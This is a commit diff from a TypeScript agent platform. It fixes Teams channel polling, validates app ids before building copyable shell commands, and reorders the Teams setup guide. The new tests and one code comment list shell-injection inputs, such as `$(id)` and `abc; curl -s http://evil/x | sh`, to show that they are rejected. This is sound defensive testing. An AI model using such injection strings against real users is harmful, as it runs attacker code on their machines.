Skip to content

Evenfire is an intelligence layer platform for running LLM agents that take real actions, on your infrastructure

TypeScript

fix(channel-reader,control-ui,docs): close the review findings on the Teams setup work

Jose Ramirez63f793d67db9
diff --git a/channel-reader/src/__tests__/main.test.ts b/channel-reader/src/__tests__/main.test.ts
index 0f5e5d9bc..48b3faa35 100644
--- a/channel-reader/src/__tests__/main.test.ts
+++ b/channel-reader/src/__tests__/main.test.ts
@@ -1289,6 +1289,51 @@ describe('ChannelReader pollCycle provider guards', () => {
expect(emailAdapter.fetchMessages).toHaveBeenCalledOnce()
expect(messages).toHaveLength(1)
})
+
+ // The empty-array guard above is only half the problem. `continue` inside the
+ // telegram branch aborts the whole CHANNEL, so a channel that legitimately has
+ // telegram groups but no telegram adapter (credentials absent) also loses every
+ // provider declared after telegram. charts/clerum-crds/examples/channels.yaml
+ // ships exactly this shape: one CommunicationChannel with telegram + email +
+ // slack. The inbox stops being polled, silently.
+ it('still polls email when a real telegram group has no adapter', async () => {
+ const emailAdapter = {
+ fetchMessages: vi.fn(async () => [
+ {
+ channelType: 'email' as const,
+ channelId: 'INBOX',
+ sender: '[email protected]',
+ content: 'hello',
+ timestamp: new Date('2026-08-18T12:00:00.000Z'),
+ messageId: 'email-2',
+ },
+ ]),
+ sendMessage: vi.fn(async () => undefined),
+ }
+
+ const reader = new ChannelReader({
+ rpcClient: rpcClient(),
+ notificationDeliveryClient: null,
+ // Email adapter only: telegram credentials are absent, which is the whole point.
+ adapters: new Map([['email', emailAdapter as unknown as ChannelAdapter]]),
+ })
+ ;(reader as unknown as { channels: unknown[] }).channels = [
+ {
+ name: 'all-channels',
+ namespace: 'channels',
+ spec: {
+ hostRef: 'agentjose',
+ telegram: [{ channelId: 'telegram1', chatType: 'private', userIds: ['123'] }],
+ email: [{ channelId: 'INBOX', emails: ['[email protected]'] }],
+ },
+ },
+ ]
+
+ const messages = await reader.pollCycle()
+
+ expect(emailAdapter.fetchMessages).toHaveBeenCalledOnce()
+ expect(messages).toHaveLength(1)
+ })
})
describe('profileSocialChannelUrl', () => {
diff --git a/channel-reader/src/main.ts b/channel-reader/src/main.ts
index bd6593f01..cc9cd07f2 100644
--- a/channel-reader/src/main.ts
+++ b/channel-reader/src/main.ts
@@ -1298,15 +1298,32 @@ export class ChannelReader {
// Process Telegram private chats, groups, and supergroups. Personal identity is verified separately.
//
- // Guard on length, not presence. control-ui writes every provider array on
- // every channel, so a Teams or Slack channel arrives carrying `telegram: []`.
- // An empty array is truthy, so this branch used to run for those channels,
- // fail to find a telegram adapter, and `continue` -- skipping every
- // remaining provider on the same channel. An empty array means "no telegram
- // groups to poll", not "this is a telegram channel".
- if (spec.telegram?.length) {
+ // Two separate hazards are guarded here, and both used to cost the channel
+ // every provider declared after telegram.
+ //
+ // 1. Guard on length, not presence. Channels created before this release
+ // carry `telegram: []` even when they are Teams or Slack channels, and
+ // an empty array is truthy. An empty array means "no telegram groups to
+ // poll", not "this is a telegram channel".
+ // 2. The exits below leave the LABELLED BLOCK, not the channel loop. A
+ // `continue` here aborted the whole channel, so a channel with real
+ // telegram groups but no telegram adapter (credentials absent) silently
+ // stopped polling its email and everything else too.
+ // charts/clerum-crds/examples/channels.yaml ships exactly that shape:
+ // one CommunicationChannel carrying telegram + email + slack.
+ telegramGroups: if (spec.telegram?.length) {
const adapter = this.adapterForChannel('telegram', channelCRD)
- if (!adapter) continue
+ if (!adapter) {
+ // Previously silent, which is what made this hard to diagnose.
+ console.warn(
+ '[Main] Skipping Telegram groups for ' +
+ channelCRD.namespace +
+ '/' +
+ channelCRD.name +
+ ': no telegram adapter; other providers on this channel still poll'
+ )
+ break telegramGroups
+ }
const providerTarget = providerTargetFromChannel(channelCRD)
if (!providerTarget) {
console.warn(
@@ -1316,7 +1333,7 @@ export class ChannelReader {
channelCRD.name +
': provider target is incomplete'
)
- continue
+ break telegramGroups
}
const telegramPollGroups = new Map<
string,
@@ -1385,10 +1402,12 @@ export class ChannelReader {
}
}
- // Process Email groups. Same empty-array reasoning as the telegram guard above.
- if (spec.email?.length) {
+ // Process Email groups. Same two hazards as the telegram guard above: an
+ // empty array is not an email channel, and a missing adapter must not cost
+ // the channel its remaining providers.
+ emailGroups: if (spec.email?.length) {
const adapter = this.adapterForChannel('email', channelCRD)
- if (!adapter) continue
+ if (!adapter) break emailGroups
for (const group of spec.email) {
const allowedSenders = new Set(group.emails)
const messages = await adapter.fetchMessages(group.channelId, allowedSenders)
diff --git a/channel-reader/test/unresolvedSenderNotice.test.ts b/channel-reader/test/unresolvedSenderNotice.test.ts
index 7e1172817..8f924557c 100644
--- a/channel-reader/test/unresolvedSenderNotice.test.ts
+++ b/channel-reader/test/unresolvedSenderNotice.test.ts
@@ -591,6 +591,21 @@ describe('unresolved notice link', () => {
expect(sendMessage.mock.calls[0][1]).not.toContain('.com//settings')
})
+ it('pins the Teams copy exactly, the way the Slack copy is pinned', async () => {
+ // Without an exact assertion the Teams copy could be replaced wholesale and
+ // stay green: the only other Teams assertion checks the URL, which comes
+ // from profileSocialChannelUrl rather than from this string.
+ const { deliver, sendMessage } = buildReader({ medium: 'teams', profileUiUrl: undefined })
+ await deliver()
+ expect(sendMessage.mock.calls[0][1]).toBe(
+ "I can't accept messages from this Teams account. If you haven't linked it yet on the " +
+ 'profile UI, open Settings > Social channels > Teams and choose Connect Microsoft Teams. ' +
+ 'If you think you should already have access, contact your admin.'
+ )
+ expect(sendMessage.mock.calls[0][1]).not.toContain('undefined')
+ expect(sendMessage.mock.calls[0][1]).not.toContain('/settings/social')
+ })
+
it('sends the copy unchanged when no profile URL is configured', async () => {
const { deliver, sendEphemeral } = buildReader({ profileUiUrl: undefined })
await deliver('C1', 'U1')
diff --git a/control-ui/lib/__tests__/teamsSetup.test.ts b/control-ui/lib/__tests__/teamsSetup.test.ts
index ebcbc90cd..2bc0ed2cc 100644
--- a/control-ui/lib/__tests__/teamsSetup.test.ts
+++ b/control-ui/lib/__tests__/teamsSetup.test.ts
@@ -3,6 +3,7 @@ import {
LOCAL_TEAMS_ENDPOINT_ORIGIN,
TEAMS_APP_NAME_MAX_LENGTH,
buildTeamsAppCreateCommand,
+ buildTeamsPackageDownloadCommand,
buildTeamsSupportsFilesCommand,
canGenerateTeamsCommand,
teamsAppNameError,
@@ -107,8 +108,11 @@ describe('buildTeamsAppCreateCommand sign-in audience', () => {
describe('buildTeamsSupportsFilesCommand', () => {
it('includes --yes, without which the update silently does nothing', () => {
- expect(buildTeamsSupportsFilesCommand('abc-123')).toBe(
- "teams app manifest update abc-123 --set-json 'bots[0].supportsFiles=true' --yes"
+ // A real UUID: the builder now falls back to the placeholder for anything
+ // else, so 'abc-123' would no longer exercise the interpolation path.
+ const appId = '0cd0e1e6-adf7-40f4-952f-79006d320a05'
+ expect(buildTeamsSupportsFilesCommand(appId)).toBe(
+ `teams app manifest update ${appId} --set-json 'bots[0].supportsFiles=true' --yes`
)
})
@@ -140,6 +144,47 @@ describe('teamsInstallUrl', () => {
})
it('trims, since pasted ids often carry whitespace', () => {
- expect(teamsInstallUrl(` ${APP} `, ` ${TENANT} `)).toContain(APP)
+ // toContain(APP) would pass on a URL that still carried the surrounding
+ // spaces, since APP is a substring of the padded value. Only an exact match
+ // proves the href is actually resolvable.
+ expect(teamsInstallUrl(` ${APP} `, ` ${TENANT} `)).toBe(
+ `https://teams.microsoft.com/l/app/${APP}?installAppPackage=true&appTenantId=${TENANT}`
+ )
+ })
+})
+
+describe('command builders reject a non-UUID app id', () => {
+ const APP = '0cd0e1e6-adf7-40f4-952f-79006d320a05'
+
+ // These commands are rendered live from the CLIENT_ID field and handed to a
+ // Copy button, and the operator pastes them into a shell. The field is free
+ // text until submit, and the value is often pasted from whoever ran
+ // `teams app create`. teamsInstallUrl already refuses a non-UUID; these two
+ // trusted the same field blindly.
+ it.each([
+ ['command substitution', '$(id)'],
+ ['a chained command', 'abc; curl -s http://evil/x | sh'],
+ ['backticks', '`id`'],
+ ['a half-typed id', '0cd0e1e6'],
+ ])('falls back to the placeholder for %s', (_label, hostile) => {
+ for (const cmd of [
+ buildTeamsSupportsFilesCommand(hostile),
+ buildTeamsPackageDownloadCommand(hostile),
+ ]) {
+ expect(cmd).toContain('YOUR_CLIENT_ID')
+ expect(cmd).not.toContain(hostile)
+ expect(cmd).not.toMatch(/[;`$|]/)
+ }
+ })
+
+ it('still emits a real UUID unchanged', () => {
+ expect(buildTeamsSupportsFilesCommand(APP)).toBe(
+ `teams app manifest update ${APP} --set-json 'bots[0].supportsFiles=true' --yes`
+ )
+ expect(buildTeamsPackageDownloadCommand(APP)).toBe(`teams app package download ${APP}`)
+ })
+
+ it('trims a padded UUID rather than rejecting it', () => {
+ expect(buildTeamsPackageDownloadCommand(` ${APP} `)).toBe(`teams app package download ${APP}`)
})
})
diff --git a/control-ui/lib/teamsSetup.ts b/control-ui/lib/teamsSetup.ts
index 8ed43e094..80bededfc 100644
--- a/control-ui/lib/teamsSetup.ts
+++ b/control-ui/lib/teamsSetup.ts
@@ -105,12 +105,32 @@ export function buildTeamsAppCreateCommand(params: { botName: string; endpoint:
* "no such file or directory: appId" rather than anything that points at the
* real problem.
*/
-export function buildTeamsSupportsFilesCommand(appId?: string): string {
- const id = appId?.trim() || 'YOUR_CLIENT_ID'
- return `teams app manifest update ${id} --set-json 'bots[0].supportsFiles=true' --yes`
+const TEAMS_UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i
+
+/**
+ * The app id to put in a copyable command, or the placeholder when the field
+ * does not hold a real one.
+ *
+ * These commands are rendered live from the CLIENT_ID field and handed to a Copy
+ * button, and the operator pastes the result into a shell. The field is free
+ * text until submit, and its value is usually pasted from whoever ran
+ * `teams app create`. Interpolating it unvalidated turned `$(id)` or
+ * `abc; curl -s http://evil/x | sh` into a command the operator runs on their
+ * own workstation. teamsInstallUrl already refused a non-UUID; these commands
+ * trusted the same field blindly.
+ *
+ * A half-typed id is the common case and gets the same treatment: a command
+ * built from `0cd0e1e6` cannot work, so the placeholder is the more honest
+ * output.
+ */
+function teamsCommandAppId(appId?: string): string {
+ const id = appId?.trim() ?? ''
+ return TEAMS_UUID_RE.test(id) ? id : 'YOUR_CLIENT_ID'
}
-const TEAMS_UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i
+export function buildTeamsSupportsFilesCommand(appId?: string): string {
+ return `teams app manifest update ${teamsCommandAppId(appId)} --set-json 'bots[0].supportsFiles=true' --yes`
+}
/**
* The Teams install deep link, which is fully determined by the app id and the
@@ -132,5 +152,5 @@ export function teamsInstallUrl(appId: string, tenantId: string): string | null
/** Fallback when the deep link 404s because the Teams app catalog has not caught
* up with the Developer Portal yet. Produces a package to upload by hand. */
export function buildTeamsPackageDownloadCommand(appId?: string): string {
- return `teams app package download ${appId?.trim() || 'YOUR_CLIENT_ID'}`
+ return `teams app package download ${teamsCommandAppId(appId)}`
}
diff --git a/docs/how-to/connect-teams.md b/docs/how-to/connect-teams.md
index 48cada92b..2973c2add 100644
--- a/docs/how-to/connect-teams.md
+++ b/docs/how-to/connect-teams.md
@@ -125,8 +125,9 @@ and no `.env` is written at all.
**`--sign-in-audience myOrg` matters.** `channel-reader` fetches its bot token
from `https://login.microsoftonline.com/{tenantId}/oauth2/v2.0/token`, which
only works for a single-tenant app. A multi-tenant registration needs the
-`botframework.com` authority instead and fails with an `AADSTS` error. The
-default is single-tenant, but the flag exists, so pin it.
+`botframework.com` authority instead and fails with an `AADSTS` error. The CLI
+documents `myOrg` and `multipleOrgs` as the accepted values but does not say
+which one it defaults to, so pin it rather than assume.
The command prints a **Teams App ID**, a **Bot ID**, an **Install in Teams**
link, and writes `CLIENT_ID`, `TENANT_ID` and `CLIENT_SECRET`. On a
@@ -140,28 +141,17 @@ select the app, and under **Basic information** give the long description its
own value. Do this regardless: it may be part of why the install link below
fails (see Troubleshooting), though that has not been confirmed.
-Open the install link, add the app, and optionally add it to a channel.
-
-**Expect to wait about five minutes.** Teams publishes the app to its catalog on
-its own schedule, and the install link fails with "This app cannot be found"
-until that finishes. That is the normal wait, not a broken setup, and it is not
-a reason to re-run `teams app create`, which would leave you with two bots. Give
-it a couple of minutes and click the link again. Only if it still fails after
-several minutes is something actually wrong: see Troubleshooting.
-
-Then paste `CLIENT_ID`, `TENANT_ID` and `CLIENT_SECRET` into the Control UI and
-create the channel. The secret is stored as `teams-app-password` in a Secret
-named `cc-<channel-name>-credentials` in the `channels` namespace, and is
-write-only: it renders masked and is never returned.
-
-Treat the generated `.env` as a secret. Do not paste it into a document, a chat,
-or a screenshot.
-
## Enable file upload and download
Workflow results are delivered as files, which the bot cannot send unless the
manifest allows it.
+**Do this before you install the app.** Microsoft documents that you "must
+reinstall if you change any app configurations", and `supportsFiles` is a
+configuration rather than a code change. An app installed from a manifest
+without it keeps that manifest, so enabling it afterwards means updating or
+reinstalling the app in every scope where it was added.
+
`YOUR_CLIENT_ID` below is the `CLIENT_ID` from your `.env`. On a teams-managed
bot the Teams App ID, the Bot ID and `CLIENT_ID` are the same UUID, so any of
the three works and there is nothing extra to look up.
@@ -199,6 +189,27 @@ the CLI, edit the manifest directly under Configure > **App package editor**.
endpoint is reachable and shows `Sign-in audience: AzureADMyOrg` for a correctly
registered single-tenant bot.
+## Create the channel in the Control UI
+
+Then paste `CLIENT_ID`, `TENANT_ID` and `CLIENT_SECRET` into the Control UI and
+create the channel. The secret is stored as `teams-app-password` in a Secret
+named `cc-<channel-name>-credentials` in the `channels` namespace, and is
+write-only: it renders masked and is never returned.
+
+Treat the generated `.env` as a secret. Do not paste it into a document, a chat,
+or a screenshot.
+
+## Install the app in Teams
+
+Open the install link, add the app, and optionally add it to a channel.
+
+**Expect to wait about five minutes.** Teams publishes the app to its catalog on
+its own schedule, and the install link fails with "This app cannot be found"
+until that finishes. That is the normal wait, not a broken setup, and it is not
+a reason to re-run `teams app create`, which would leave you with two bots. Give
+it a couple of minutes and click the link again. Only if it still fails after
+several minutes is something actually wrong: see Troubleshooting.
+
## Any cluster (CRD path)
Teams is declared as a `CommunicationChannel` bound to a `Host`, with the client